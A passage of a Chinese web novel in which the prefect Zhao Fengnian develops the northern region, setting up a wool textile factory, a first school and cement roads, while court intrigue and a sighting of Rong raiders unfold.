李将军已经带人将盛富贵押送回京城了,北地的事,京城那边应该已经得到了消息,这种事刑部都是有固定流程的,这个时候派钦差过来,也不知道是为了查实还是其他了。 不过,钦差就要算也是年后,如今还远在京城呢,赵丰年也就抛之脑后了。 年前还有几天的时候,巧娘又念起了大胖。 “大胖这孩子,也太较真了,说去挖河道,还当真就去了,这都快过年了,还没回来,你们也是,怎么就不劝着他些?” “婶娘你别急,他总会回来的。”赵青青安慰了一句。 赵来贺也附和,“过年肯定回来的,这样,你要是不放心,大不了明天我去趟牧县瞧瞧,也劝劝他,这孩子实诚,怕是想通了后,不好意思回来见咱们呢。” 赵丰年听了,这才想起来,大胖还在牧县呢,于是,这日见到拓九的时候,赵丰年便问起了大胖,只不过,拓九显得十分茫然。 “他刚开始的时候,确实是在府衙待了几日,每天早出晚归地挖渠,大家伙们都说他能干呢,不过后面就没见到他人了,我还以为府衙有事,大人你喊他回来派他做事去了呢。” 拓九今天是来送羊的,快过年了,大冬天的,煮锅羊肉汤一家人围着喝上一碗才叫舒坦,他们牧县的人过年就好这口,大家都记着赵丰年的好,牧场那边一早就想着给知府大人送羊,于是他就来了。 “他没回府衙,我也没喊他,牧县那边可有人瞧见了他去了何处?你回头帮我问问吧。” “行,没问题!” 赵丰年送走拓九,回到后院,找到了赵青青,说明了大胖的情况。 “还在牧县。”这话却是赵翠翠说的。 “那个葛达,阿彩妹妹家里。” 赵丰年想了想,“胖哥还是心善,我让牧县县衙多照顾照顾葛达妹妹,料想他就去了。” 赵青青见了就笑,“既然这样,不如明天还是去一趟,让他回来过个年,再说,休息这么久了,也该回来干活了。” 赵丰年赞同。 不过,到了午后,他们就先接到了大胖的来信。 说是阿彩一个人,他准备陪阿彩过完年再回府衙。 别说是赵丰年赵青青了,就是听说了这事的赵来贺都察觉到了不对劲。 巧娘倒是挺乐呵,“我前些日子还在寻思要给他相看媳妇呢,他倒是自己先找到了一个,这个阿彩是牧县的?如今多大了?你们都瞧见过啦?可怜见的,家里就剩一个人了,这还怎么过年,不如喊了家里来,咱们一起过年不就成了,大胖也是,男孩子就是粗心,他爹,明天你还是去一趟接人!” 赵来贺是听说过前些日子他们府衙里抓出了个细作的,担心跟这个有关,忙看向了儿子。 赵丰年便笑着安抚他娘了。 “娘,人家姑娘家,毕竟矜持,这回就算了,等到年后,就是你不说,胖哥肯定也会见人带来的,也不急于一时,我会跟牧县那边说说,让照顾着些,您就放心吧。” 巧娘这才放弃,又乐呵呵地去准备过年的食材了。 “一个两个的,怎么都找上了这里的……”赵有志嘟囔了一句,好在赵青青已经去帮巧娘去了,并没有留意到这句话。 柳大尺跟赵来贵一家今年也留在了北地过年,难得赵家今年过年倒是能串门了。 年后,冰雪初化,万物复苏,北地的百姓们开始了新的一年。 赵丰年年后召集的第一场会议重点就是抓春耕,以及天河计划的进展。 去年年前柳小尺已经让人送来了赵丰年要的草药种子,这里面有一年生的,有多年生的,为了能让赵丰年更好开展草药种植,柳小尺甚至贴心地送来了一个药农,这让赵丰年还有犁丘县县令都十分惊喜。 “因此,犁丘县今年的任务不仅仅是春耕,还有药田种植规划,莫县令,本官看了你送上来的规划,总体可行,具体施行的时候,好要多多请教专业人士。”这个专业人士自然指的就是柳小尺送来的药农了。 莫东西笑的眉眼弯弯,连连点头。 “沙县令,你们村送上来的果林图我也看了,今年再扩张是没问题的,只是这春耕一项,虽说你们县土地适合宜种植大豆,但是倘若百姓有不愿意种植大豆的,也莫要勉强,另外就是,你选好人手,春耕后就跟小河县制油厂那边联系吧,本官希望在秋收前看到沙沙县的制油厂。” 沙不多连忙应了下来。 “我们县总归是种麦子多的,大头在养羊一项上,已经有不少母羊怀了崽,牛群今年也会增多。”提到牛羊,拓九就一脸的得意。 赵丰年满眼笑意,“小河县是我们北地粮食主要产地,我希 望今年能成为整个北地的粮仓,至于牧县,等农忙后,我们商量商量牧县纺织业的事。” 拓九双眼一亮,而其他人都有些羡慕了,尤其是犁丘县和沙沙县。 这时候,赵丰年又转向了冷存真,“冷县令,你们村的地多,可以说是北地第二个粮仓,但是本官想说的不是这个,而是学堂。” 一直安静听着的冷存真当即抬头看向了赵丰年。 “前些日子,杨知事跟赵有志想必已经跟你商议了多回了,我也看到了你们几人的意见,未来北地势必会每个县甚至每个村都有自己的私塾学堂,但是眼下确实还做不到,这北地第一家学堂,就设在五树县吧。” 冷存真眼中放光,“是,大人大义。” 这场会议后,北地的百姓们热火朝天干起来了。 任何这时候来到北地的人,都会被这种充满生命力的干劲惊讶到。 这也是柳小尺年后第一次来到北地之时的感触。 去年后面几回商队都是其他人带队,赵丰年好一阵子没见到柳小尺了,这次见他来,也是开心不已,却见他旁边跟着一个眼熟的少女。 “是,阿珠?”赵丰年疑惑。 只见那少女微微一笑,“宝儿弟弟。” 赵丰年看向了柳小尺,他却有些不好意思,“阿珠跟我去年腊月的时候定亲了,年后爹娘让我过来瞧瞧你们,阿珠娘,莲婶说许久没见你们了,就让我带了阿珠来,一来我以后在外面行走,阿珠知道了心里也好有个底,二来,也是替她瞧一眼你们。” “竟是这样,三伯娘真是有心了,想来,自从临县一别,也有两三年了,她跟阿玉近来可好?” 阿珠抿嘴一笑,“拖你的福,都好呢,自打青青姐跟小云姐先后都走了后,阿玉就顶上去了,一个人总管着三个纺织厂,大家都说,她很有大掌柜的风范。” 赵丰年也笑,想当初,阿珠阿玉在赵家的时候,是最沉默寡言没有存在感的存在,如今能这样拥有自己的人生,他真的很为她们感到高兴。 “今日北大街那边做春季促销活动,所以衙门里空了些,大尺哥也去那边维持秩序,怕贵二伯他们忙不过来,我爹娘都去油铺帮忙去了,你们先歇歇脚,一会儿我带你们去找他们,对了,还没恭喜你们。” 柳小尺笑得很开心,瞧得出来他对这桩亲事很欢喜。 “你就别忙活了,我们自己去就行,再不济你喊个人来,我们都知道你如今忙得脚不沾地,方才在门口,他们就跟我说了,爹娘听说大哥做了捕头了,都高兴坏了,我们也知道,大哥怕不是做生意的料子,能有一把力气帮到你才是正经,如今商会有嫂子管着,他正巧能做自己喜欢的。” “大尺哥做得很好。” 几人说了一会儿话,柳小尺果然带着阿珠去见赵来贺巧娘了。 见到阿珠,巧娘也很惊喜,得知两人定了亲,顿时笑得合不拢嘴,又是忙着问陈莲等人的情况,又是问他们日子定了没有,直把阿珠问得双脸通红。 柳小尺这回要继续北上跟北边的一些邬堡做生意,阿珠则留在北地等他回来再一起回去,赵丰年便跟柳小尺提到了戎族的羊种,以及牛马牲畜。 “好,我明白了,我努力找找,给你弄回来一批。” “说来,阿珠来了也正好,我这底下有个县,是做畜牧业的,这个你已经知道了,去年他们羊也养得好,我前些日子琢磨着要在那边建个纺织厂,青姐跟云姐如今都忙着,我正愁没人能把框架立起来,正好阿珠在这里,也了了我一桩难事了。” 阿珠听了也很开心,“那太好了,我还怕在这里没事做无聊呢,只是羊毛也可以纺织嘛?” 赵丰年点头,“自然,只要将羊毛梳理顺了,捻成线,再纺成布,既暖和又轻薄。” 柳小尺也笑,“阿年的主意还没有错的时候,看来,这北地要有自己的特产了,也难怪你让我多带些外头的牲畜来。” 趁着柳小尺还没离开,赵丰年第二天立马拉着他去见了陆木匠,讨论起羊毛梳理机器的问题。 柳小尺早些年便在木工上有些天赋,又喜钻研,这些年走南闯北见识也多了,而陆木匠痴迷木工及各种机关,听完赵丰年的要求,两人立马就明白了个中关键,激动地讨论起来,见状,赵丰年便将地方让给了他们。 到了第五天,两人成功将一台羊毛梳理机摆在了赵丰年面前,看得赵丰年连连点头。 “柳掌柜要是继续做木匠,想必也能流芳百世。”陆木匠看待柳小尺的目光简直像是在看自己欣赏又走上歧途的后辈。 赵丰年赞同,“确实如此。” 东西做好了,还缺一台纺织机,这个赵丰年直接就给出了图纸,陆木匠也是便做边感叹,这下连看赵丰年的目光都带着惋惜了。 赵丰年哭笑不得,连忙带着人跟家伙上牧县去了。 拓九得知是为了给他们牧县纺织厂做的,连忙让人去牧场装了一袋羊毛回来,这些羊毛也是前些日子赵丰年让他们准备好的,经过洗涤、晾晒过后的干净羊毛。 牧场的人还不知道要建纺织厂的事,前面听到让他们清洗羊毛的事还一头雾水,如今一听说知府大人来了牧县,还跟县令要羊毛,便知道是知府大人的要求了,好奇之余连忙也跟着一起去瞧热闹了。 “这回好事也轮到咱们牧县了,去年小河县又是水车,又是制油厂的,可把我羡慕坏了。” “这话说的,感情我们没好事了?这羊还是知府大人让咱养的呢,再说,你前头没用那耕牛?没用那曲辕犁啊?” “就是,那东西才是好东西呢,乖乖,都不用人使上什么力气,那地就耕没了,咱们可是遇到好时候了。” “要我说,是咱们遇到了好知府大人才是!” 周围人七嘴八舌,赵丰年也不废话了,看到那些已经干燥柔软的羊毛,直接让陆木匠演示一番。 陆木匠就是制作的人,还是按照赵丰年的要求来做的,自然知道怎么用,当即就上手了。 于是,众人就看到方才还杂乱无章的羊毛在那个木疙瘩的转动过程中,竟然变成了一片片蓬松的布块似的东西。 “就把这个直接穿身上吗?”拓九忍不住怀疑这东西会不会一扯就散。 “当然不是,还需要捻成羊毛线,这里可有会捻线的人?” 阿珠一个人速度毕竟慢,赵青青便也帮着一起,拓九见了,连忙上前拦住了她。 “青姑娘,如何能劳烦你,你,你歇着!”说完,就朝围观的百姓喊人了。 阿珠惊奇地看了他一眼,目光在两人之间打了个转,才回到了手中的羊毛上。 没过一会儿,只见又上来了几个妇人,并一个年轻的姑娘。 赵丰年看了一眼,收回了目光。 那羊毛片很快就在几人手里变成了线卷,赵丰年点点头,让人抬过来纺织机。 这纺织机正是赵丰年在临县的时候为陈家湾纺织厂做的改良纺织机,听阿珠说,自从赵丰年中了状元后,很多人就把这改良后的纺织机叫做状元纺织机了,听的赵丰年也是哭笑不得。 北地也有简易的织布机,不过自然是老式的,这改良过的还没人会用,阿珠直接坐在了前面,当着众人的面织起了布。 “这羊毛线织起来跟麻线没什么不同,就是在织的时候要格外留意线的粗细,不过,这布摸上去柔软暖和,一看就保暖!” 阿珠让开位置,好让其他人上前观看,一边笑着解释。 赵丰年摸了一把羊毛布,柔软舒适,倘若是捻线的手艺更稳定些,织出来的布应该质量会更上乘。 而其他没见过的人已经完全惊呆了。 “这这这真的是羊毛?” “这布看起来真暖啊,要是冬日里有着布做的衣裳穿在身上,肯定都不怕冷了。” “这个机子也好,织起布来又快又好,你瞧见没有,她一个人就能织布了!” “这真的是织布机?” “这是知府大人改良过的织布机,以前知府大人在家乡时见妇人织布不易,便改良了老式的织布机,后来知府大人考上了状元,家乡的人就都叫这东西为状元纺织机了。” “原来是这样,知府大人原来那个时候就爱民如子了,正是好官啊!” 说话的人是大胖,此时,他正站在人群里笑着看着那边。 “这两个东西都好厉害啊,有了这羊毛梳理机,还有这个改良织布机,我们是不是就可以开纺织厂了?”拓九眼热心动。 赵丰年点 点头,又向他介绍阿珠,“这是我替你们请的顾问,阿珠以前家里开了三家纺织厂,可以说,对如何开一家纺织厂,以及怎么运作,都了然于心,这些日子她会留在北地,有什么你尽可以问她。” 拓九连忙跟阿珠道谢,阿珠只笑了笑。 “说到纺织厂,其实青青姐可比我懂的多,起初纺织厂刚起步那会儿,青青姐就帮着我娘做事了,甚至很多事我娘都说棘手,都是青青姐直接出面解决的,厂里谁不说青青姐是纺织厂顶梁柱的?” 赵青青便笑,“你呀,这是夸我呢?还是刻意捧我呢?你既然都来了,我自然是能偷闲躲懒就懒着了,可别想说好听的拉我一起。” 而一旁的拓九已经看着赵青青双眼放光了。 “青姑娘,倘若是后面阿珠姑娘不得空,我能否请教青姑娘?” 赵青青自然不无不可。 得了准话的拓九喜上眉梢,阿珠却偷偷笑了。 赵丰年看了这一幕也无奈笑了。 看他青姐的样子,拓九想追人,可谓是任重而道远啊。 牧县的纺织厂如何建,建在哪里,怎么选人培训,这些都是在临县的时候已经经历过的,有阿珠在,赵丰年一定也不担心。 见他们商量着,此时他的注意力却停在了眼前还在捻线的少女身上,其他人都停了手,只有她还在继续,便有些好奇,赵丰年跟旁边的王文耳语片刻,待王文走后,他走到了那少女面前。 “你是阿彩?” 阿彩闻言抬起头,露出了一双浅褐色的眸子,五官不像拓九那般棱角明媚,要不是那双眼睛,其实她长得跟中原人没什么不同,此时她抬头,带着些无措。 “你别怕,我是赵有德,或许,他让你叫他大胖?总之,我是他弟弟,他可有跟你提过?” 只见阿彩那双浅褐色的眼睛里顿时放出光彩,“大胖哥是好人,那你是他弟弟,你也是好人了?” 赵丰年看着不远处人群里王文拉着的人,笑了,“对,我们都是好人。” 第73章 第73章第一个学堂 “也没想瞒着,就是——” “怕我们接受不了阿彩的身世?”赵青青打断大胖的话,“那看来你还需要再反思反思了,阿年是什么样的人,你能不知道?还是你觉得我们都只有这点胸襟,会介意这种小事?” 大胖被说得羞愧难当,“是我想岔了。” “这是你自己的事,你想好了就行,毕竟是你的终身大事,旁人也没法替你做主。”赵丰年也说了一句。 “当然,阿彩是个好姑娘。”提到阿彩的时候,大胖眼神都柔了下来。 不管怎么样,这都是一件大喜事,无奈是赵青青还是赵丰年,也都只有为大胖感到高兴的份。 得知大胖准备带着阿彩回临县赵家村,巧娘也笑着连连点头。 “应该的应该的,你爹娘肯定都惦记着你呢,正好带着阿彩回去把亲事定下来,也替我们问候你爷奶他们。” 赵有志也想回去,可是他正跟五树县一起筹办学堂,跟赵丰年的赌约没完成,便只让大胖带回自己的家信,以及一堆各式各样的东西,其中孩子用的东西占了不少。 他媳妇春天的时候已经生了,是一个十分可爱的女儿,家里让人画了小像,上回柳小尺来的时候带了过来,赵有志看着媳妇抱着女儿的画像,爱不释手,如今天天都贴身带着。 这回让大胖带的东西里头就有一个玉镯,并一个孩子戴的银项圈。 大胖也知道他跟赵丰年的约定,见状只是拍了拍他肩膀,默默鼓励。 大胖走后,赵丰年就把吴阿飞顶了上来。 吴阿飞就是之前跟葛达一起招进县衙的,性格上有些沉默寡言,虽不像葛达那般机灵,但是做起事来沉稳,是个可用的。 牧县这边,有了阿珠的帮助,很快纺织厂的框架就搭了起来,拓九也直接是效仿小河县,征了一个现成的地儿挂上了纺织厂的名字,接下来就是招人培训了。 牧县的百姓自从知道要开纺织厂起,就天天关注着那边,毕竟小河县的制油厂有目共睹,招人给钱都爽快,过年那会儿,小河县制油厂上下,一人推着一车的年礼回家,又是油又是肉粮的,可把其他县听说了这事的人羡慕坏了。 那可是油啊,一经推出就广受好评,让大家赞不绝口的、能炒菜做饭的、比猪板油还便宜的油!他们都不敢大手大脚地买,结果人家厂里的工人直接拿车推着回家,怎么叫人不羡慕? 不过就算是没有那些年礼,大家也都乐意干的,毕竟本来活就不好找,更何况是二百文工钱的活呢,那就更不好找了。 于是,几乎是纺织厂刚放出话去要招人,这里就已经围了不少人了,当然,大多都是女子为主,毕竟会织布的多是女子,纺织厂也早就说了,只招女工。 是以,家里有女眷会的不会的,都一窝蜂涌过来参加面试了,就指望万一瞎猫碰上死耗子,刚好选上了。 “六婶,你家阿花会织布嘛就来?我怎么不知道你家有织布机的?” “阿花聪明呢,手脚麻利,怎么就不能来了,不就是织布,学一学不就会了!” “我家塔塔从小就麻利,针线活都会,肯定不成问题。” “真好,我家连针都没有,我就会一个捻线,所以来碰碰运气,也不晓得那个叫‘面试’的是怎么个试法,要是直接让我织布,那我可不会。” 众人这里或焦虑或紧张中,那边阿珠跟牧县这边选出来的一个精通织布的阿妈点了点头,准备开始了。 纺织厂的羊毛都是从牧场直接运过来的,牧场那边以后只负责进行简单清洗,到了这边,还要继续清洗,去油脂,晾晒,再通过梳理、捻线,最后才能防成羊毛布,这种活都要细致再细致,因此,招的人多,但是选拔也更加严苛。 一共招二十人,这二十人得知自己被选中后,都高兴不已,家里人得到消息也与有荣焉。 “阿妈我被选中了!” “哎呀,我家闺女出息了,也要当工人去了!” “我被纺织厂选上了,往后能给孩子买点好的了。” 选中的人还要经过培训,不过这培训期间也是给钱的,当然是折半给,一个月一百文,只有等通过了培训跟考核,合格了才能算正式工,否则,可是会被辞退的。 一众刚选上的女子得知既高兴又紧张,下定决心要好好干,而那些没选上的只想着还有机会,打定主意要一直盯着这边,好能抓住机会顶上去。 牧县的火热传到沙沙县,沙沙县的百姓羡慕不已,但是一想到他们县也派了不少人去小河县制油厂学习技术,再过几个月,他们也能当上工人了,就兴奋不已。 而犁丘县的百姓却整日操心着药田里的草药。 听说这草药能买大价钱,起初犁丘县的百姓们都非常上心,也乐意去种,可是谁成想,这草药跟庄稼一样,也得精心伺候,甚至有些品种的,还要更加小心谨慎,还没等做上药材生意赚大钱,犁丘县的百姓都要被这些药田折磨疯了。 面对这种情况,犁丘县县令莫东西也是头痛不已,只是赵丰年跟他再三保证,好好种,一定会有个好结果,在这样的利益驱动下,只得继续在药田里忙了。 不过赵丰年却提出,让莫县令组织民众学习药材的炮制。 “很多的药材都不是从药田里挖出来就能直接用的,经过炮制一来保存时间久,往后多了还能卖到北地外头,二来药材经过炮制能更好发挥药效,北地的药材本来就稀缺,你们县的草药不缺销路,所以这药材炮制之法是一定要拿下的,北地的大夫也是稀缺,这回五树 县盖学堂的事想必你们都听说了,我打算学堂里增设一门医学,回去跟百姓们说道说道,有想法的都去学一学,回头好办事。” “也是如今人手不足,识字的百姓又少,等后面人多了,你们县也要办自己的学堂,到时候单独弄个医学院出来,才叫方便。” 莫东西还是第一个知道五树县的学堂要设医学的,只一瞬间就知道这是个多好的事了,当即就拜别了赵丰年,赶回犁丘县通知百姓了。 “要我们学医?可我连字都不会啊!” “药材炮制不就是晒干?这还用学吗,家里屋前屋后都要干活的,去五树县不是耽误功夫吗。” “说是学字不要钱,但是住那里吃那里都要花钱,又是一项支出了。” “学也行,就是能不能不学字?” 莫东西气得恨不得上手打人。 “你字都不认识,怎么分辨草药?谁说炮制就是晒干的?那里头学问大着呢,你们也是没脑子,去学炮制草药也好,学认字学医术也好,总比你们整日围着地打转强,那些是能握在自己手里安身立命的手艺,外头人家想学本事的,三跪九叩地请了人家收为学徒,还要看人家心情好不好呢,如今知府大人替你们想到了,又有衙门出钱,你们倒好,一个两个就想安逸躲懒!生生白费了咱们县种草药的优势。 好好好,你们不去,等回头别的县的人去了,人家都一个两个不是当工人,就是做大夫,或者做学问,你们还在地里刨食,你们就知道好坏了!” 有想不明白的,自然也有那聪明人,立马就明白了个中好处,连忙说要去学,倾家荡产也要去拼一把。 莫县令脸上这才好看了些。 怕被别的县抢了先,又连忙赶去了五树县,找到了冷存真,说明了来意。 冷存真面无表情,“你们县想来就来,通过考验自然可以学,何必跟我说。” 莫东西心里暗骂了一句冷假面,又陪着笑,“这不是,你管着这事么,都是认识了多年的老伙计了,回头你给多关照关照。” 冷存真只看了他一眼,不做声,离开了。 没得到准话的莫东西回到犁丘县,左想右想总觉得不太保险,索性直接找来了那几家有意愿去认字学医的,开启了临时教学。 药物炮制、医术什么的他不会,但是可以多学会几个字也是好的! 府衙里,赵丰年听赵有志说了犁丘县令去找冷存真这事,当即就笑了。 “这个莫东西,原先是颗墙头草,又喜欢什么都争上一争,但是在为百姓谋取利益这方面,确实没什么话可说的。” “这也算是好事了,能先启蒙起来,后面也轻松些。” 赵丰年点点头,“话说,五树县盖学堂的话也放出去了,你们招到了几个夫子了?” 赵有志一听这话就哭丧着脸,“别提了,除了五树县本县的一个读过书的,就没人来,冷县令把自己都安排上了。” 赵丰年想了想,“冷县令怕是那没那么多功夫的,这样,你去找翠翠,在府城还有各县加强宣传招人,实在不行,你也自己顶上去吧。” 赵有志大惊失色,本以为赵丰年开玩笑的,却不想,一抬头竟见他无比认真,当即浑身一哆嗦,随即目光坚定,“你放心,我一定好好招人,哪怕是求,也要把先生求过来!” 赵丰年满意地笑了。 赵有志的效率很快,当天晚上就找了找翠翠,然后第二天,两人就带着人出门去了。 随后,无论是府城,还是各县的百姓,都听到了一个说法。 “知府大人是为了我们,是为了北地才设立学堂,可却苦于没有夫子,我诺大的北地,也竟找不出一个有志之士,实在是可悲可叹!” “为振兴北地而读书,好好好,真不愧是知府大人!说的真好啊!” “小可不才,祖上也曾是书香世家,只是后面被戎子压迫,不敢宣扬,略读了几本书,做夫子不敢当,但倘若只是为我北地孩童启蒙,还是可以的,我这就前去五树县,为振兴北地而读书!” “既然这样,也算上我一个吧!一起为振兴北地而努力!” 冷存真没想到,截止到昨日,这学堂还苦于招不到夫子,今日就忽然冒出了这么多人,他都不知道,原来北地的读书人有这么多。 得知是赵有志招过来的,冷存真一脸赞叹地看向了赵有志。 “我可不敢居功,是大人让我跟赵翠翠典吏求个法子,这才有了这些人来,不过那句‘为振兴北地而读书’确实是大人告诉我们的。” “赵大人足智多谋,我不如也。” 那还用说,这人从小就是个怪胎。 赵有志忍不住心里吐槽。 不过,好在,这事也顺利解决了,五树县的学堂终于能顺利开张了。 北地还是有不少明白人,也知道读书能给孩子多添一条路,得知五树县的学堂招生了,忙送了孩子前去。 学堂目前只分了两个大类,一是普通的读书班,二就是医学班。 医学班的都要经过启蒙识字后才能进一步展开,所以,事实上,目前入学的都在上启蒙班。 说是来的人多,最后也不过招了一百余人。 “已经不错了,饭要一口一口地吃,路也要一步一步地走,有了第一个学堂,就有第二个,第三个,无数个。” “这就是你为什么想把北地第一个学堂设在五树县的原因?为了取个好兆头?”赵有志一脸似乎明白了什么的表情。 赵丰年微笑,“谐音梗就不要玩了。” 总而言之,北地终于有了第一家学堂——五树学堂。 平平无奇,却蕴含着无限的生机。 “不少学子是外县,甚至是府城送过来的,只能住宿,食宿都在学堂里,好在此前就根据大人的图纸建了住处,倒是不愁地方安置了,就是麻烦了些,本来定的是半月可休一日,只是考虑到路程,是不是要多增加两日?” 杨菱去五树学堂待过一阵子后,带来了反馈。 “比起其他县,五树县的路不太好走,树林子也多,就更耽误功夫了。”赵有志也补上了一句。 五树县叫这个名字,就是因为这个县树多,“五”跟“九”在北地都属于极数,而刚好五树县县衙门口又有五颗老树,是以才有了这么一个名字,其实赵有志还真没说错,五树县 的“五树”,还就也有个“无数”的意思。 赵青青想了想,“其实,无论是小河县,还是牧县,又或者是已经在筹备制油厂的沙沙县,如今都建了厂房作坊,目前是产量还没跟上去,只在周围贩卖,但是大人肯定是希望这些厂房在各县遍地生花,届时总归都是要往外运货的,而那时候,这些县的路就不够看了。 这些县里,除了沙沙县地处平坦,又多沙石,路况这才稍微好些,其他县的路大多不好走,前些日子,几个县的大人们围在一起的时候,也提起过这事,都想问问大人意思,咱们是不是该修一修路了,只是又考虑到,天河计划是北地大规划,挖河道那边是绝对不可少了人手的,而修路也是个大工程,当真一起做起来,怕是要耽误了天河计划的工期,所以大家便又都犹豫了。” 赵丰年也不是没有想过修路,只是赵青青说的没错,北地人太少了,一部分去挖河道了,再抽调人修路,怕是百姓家中干活的人手就要不足,即便是好事,届时百姓们劳心劳力之下,怕是免不了要起怨恨的。 但是,路又不能不修,要想富先修路,这是个亘古不变的真理。 “这确实是个事,容我再想想。” 第74章 第74章内乱外乱? 当天下午,赵丰年就拉着工房的几位老师傅一起商量修路材料的事了。 “石灰石北地不怎么见着,倒是粘土跟沙砾不少,大人是想用粘土沙砾混合后铺路吗?北地石料不易得,用沙砾确实是个好办法。” “是一种新的材料,不过我也不太熟悉,还要等东西找齐了,我们一起试一试才能知道行不行得通。” 赵丰年说的自然就是水泥了,不过他只记得简单的法子跟材料,至于具体的比例,以及还需要什么加入什么进去,都需要工房的匠人们一步步实验。 很快,府衙上下都知道了赵丰年带着工房的人在做一件重要的事,每日早出晚归,闭门不见,众人也不知道具体是什么,只听说是跟修路的材料有关。 终于,一个月后,水泥做好了,得知消息众人纷纷赶到工房,赵丰年二话不说,直接让工房的人现场用水泥铺了一条小道。 众人看着那软趴趴的小道,不明所以。 “这还是半成品,得等它干了,才是路,近来天气好,等到明天,这条路差不多就成了。” 众人好奇了没一会儿就各自散了干活去了,只等明天再来看看。 等到第二天,王文是第一个发现那路不对劲的。 “这么平坦光滑,就像是一整块石板放在这里似的!” 可大家昨日都是亲眼瞧见的,哪里有什么石板,昨天还是灰不溜秋的泥浆呢。 杨菱上去走了几个来回,不住地点头,“确实跟石板没什么两样,甚至还要更加平坦,只是不知造价如何?” 旁边工房的匠人便笑了,“除了石灰石,都是北地随处可见的东西,比起石料而言,可便宜太多了,而且这些原料经过处理后,是可以直接运到修路的地方去,用的时候再用水调和,往地上铺平整了就成,不但方便运输,而且能省不少人力畜力。” “那确实是好东西!”杨菱赞叹不已,当即就去见赵丰年,想要把五树县那边的路先修一修。 “五树县的路是要修,不管五树县,其他县,包括府城的路,都要好好修一修,只是也要先规划一番,这样,你通知下去,让各县来开会吧。” 杨菱领命下去。 得知知府大人准备修路,各县的人也很快就到了府衙,然后见识到了水泥,当然参观的还是工房那条小道。 何县丞第一个跳出来说要修路。 “很多商户都想要我们县的丰收油,奈何路途遥远,又都是坛子,不便运输,倘若修了路,就方便多了,这样平坦的路,正适合运油坛子呢。” 沙沙县县令也是一脸心动,如今他们县也在准备开制油厂,后面肯定也会遇到这样的情况,路肯定是要修好些才好做大生意。 “我们县有纺织厂,还有牛羊,那我们也要修。” 赵丰年找他们过来当然就是为了解决这事,见他们都没意见,便把话说下去了,总的意思就是,府衙不日会建水泥厂,届时从这里生产水泥原材料,各县都可以按需购买,自己组织人手铺路修路,府衙会派工房的人去做顾问。 几人你看看我,我看看你,没说什么,都赶着回去通知下去了。 得知要修路,各县百姓本能有些抗拒,知道听说是知府大人下令修的,百姓们瞬间就接受了。 “既然是知府大人的命令,那铁定没错的,就知不知道给多少,不过哪怕就是五文钱,我都愿意去。” “我家人多,去了两个挖河道,如今家里也用不上这么多人干活,索性去修路,路修好了,往后去县城去府城赶集都方便。” 不过这回百姓们可是想岔了,县城里根本没召集人干活,直接招了人成立了官方的修路队,就开始在各县城里先修了起来。 有好奇的百姓进县城瞧了后,回到村里就开始宣扬。 “那路好啊,只见两个人把泥浆一样的东西铺在路上,又给摊平了,盖上麦秸,怎么瞧都不像路,可人家说了,大太阳一晒,第二天就能走了,我一摸那前一日做好的,嘿,你们猜怎么着,那头一天还软趴趴泥浆一样的东西,竟然变得比石头还硬了!而且平坦得不像话,一条缝都找不到,都能直接躺上去睡一觉了!” 去县城的人越来越多,夸路好的人也越来越多,众人都等着什么时候路就修到了自家村里。 就在全北地都在风风火火修路的时候,柳小尺回到了北地,带回了赵丰年想要的牛羊,还有马匹。 “好样的!小尺哥!” 柳小尺还要跑商队,不能在北地久待,阿珠要跟着一起顺道回临县,走的时候,几人都恋恋不舍。 “这人走走停停,聚聚散散的,也不知道什么时候咱们能再回赵家村瞧瞧了。”巧娘不禁感叹。 “等北地这里生活都好了,阿年能离开了,到时候咱们回赵家村住些时候也行。” 赵丰年听着爹娘的谈话,心里也暗自下定决心一定要好好建设好北地。 八月迎来了小麦收获季,小河县不负所望,成为了北地产粮大县,而今年五树县吸取了教训,也紧跟着小河县,正如赵丰年所说,成为了北地第二个粮仓。 众人看着渐渐充实的粮仓,感动不已。 而等到九月的大豆收获期,沙沙县制油厂的第一批油也流动到了市场上。 就在大家都庆祝着丰收之时,赵丰年却收到了京城的来信。 太子被关禁闭了。 赵青青见他眉头紧皱,就知道不是什么好消息,听闻太子被关了禁闭,也是惊讶不已。 “我记得小顾大人曾多次提过,太子殿下是个难得的好储君。” “难怪年前就说要有钦差来北地,到如今都没动静,只怕是如今京城也不安稳了。” 皇子长大,皇帝年老,总归绕不开一个夺嫡,不到最后,谁都不知道最后赢家是谁,顾子升说如今朝廷里五皇子的风头最甚,但是赵丰年在京城那会儿,还没听说过五皇子的名头,可见这些都是猜不到,也摸不准的。 “傅先生曾是太子太傅,你又师从傅先生,可会被五皇子记恨?” “我如今远离朝廷,远离京城,这池水再怎么搅动也搅动不到我这里来,我只是担心,老师一家会成为博弈的棋子。” 上一回收到傅家的信还是两月前,那时候想必太子还没被皇帝训斥关在东宫,不然傅青云不至于一字未提。 赵丰年想了想,斟酌着写了信送去京城。 只是他这信才发出去,不过几日,他就先收到了傅青云的信。 信中也提到了 太子被关,五皇子势力扩张,另外,重提了两家婚约一事。 赵丰年有些怔愣,随即反应过来,五皇子已经在拉拢傅家了,筹码就是后位。 只是不等赵丰年想好怎么回信,北地也出现了新的情况。 “说是在荒野看到了戎人的队伍,人就在外头候着。” 得了赵丰年的准话,杨菱这才将人带了进来。 “草民就住在城外,草民大哥在挖河道,这些日子家里大豆丰收了,卖了不少银子,想着天气渐凉,家里给做了件外衣让给送过去,草民就跟几个同村的一起去了,回来的路上,草民尿急,就让大家伙等等,独自一人去草丛,哪知道刚一抬头就看见了不远处有几个戎人,草民吓的尿都不敢尿,就拉着同村的一起跑了。” 赵丰年跟杨菱对视一眼,又看向了那人,“你怎么能确定是戎人?” “大人,咱们这些人过去都见过戎人,他们喜欢穿皮毛,头上要绑小辫子的,怎么都不会认错的!” “他们没发现你?” 那人一脸庆幸,“许是草民在草丛的缘故?那些戎人瞧着是往另一头走,所以没察觉到我们吧。” 将人安抚好,又给了赏金后,赵丰年就召集了杨菱等人商议。 “前头有盛富贵跟李家勾结戎人,他们肯定是有特殊的通道或穿过或绕过北门关,我前面已经给镇守北门关的彭将军去了信函,他也排查了,封锁住了一个缺口,只是如今又看到了戎人,怕是他们的通道也不止一处,我会再写信去北门关跟彭将军提个醒,但是,我们自己也不能坐以待毙,必须武装起来了。” “自从李将军离开后,我们自己也继续训练,如今府衙的护卫也不少,包括衙役捕快,只是,小打小闹还可以,真要抵御戎人,怕是没那么简单。”赵青青也皱紧了眉头。 赵丰年想了想,“这件事瞒不住,也不能瞒,百姓们都应该知道自己面临着什么样的危险,才能引起警惕,至于府城的护卫,大尺哥,这些日子辛苦你多带些人巡逻,我会让翠翠继续招人,建立民兵团,回头你来找我,我们一起商定一个训练法子下来。” 柳大尺点点头,赵翠翠同样点头。 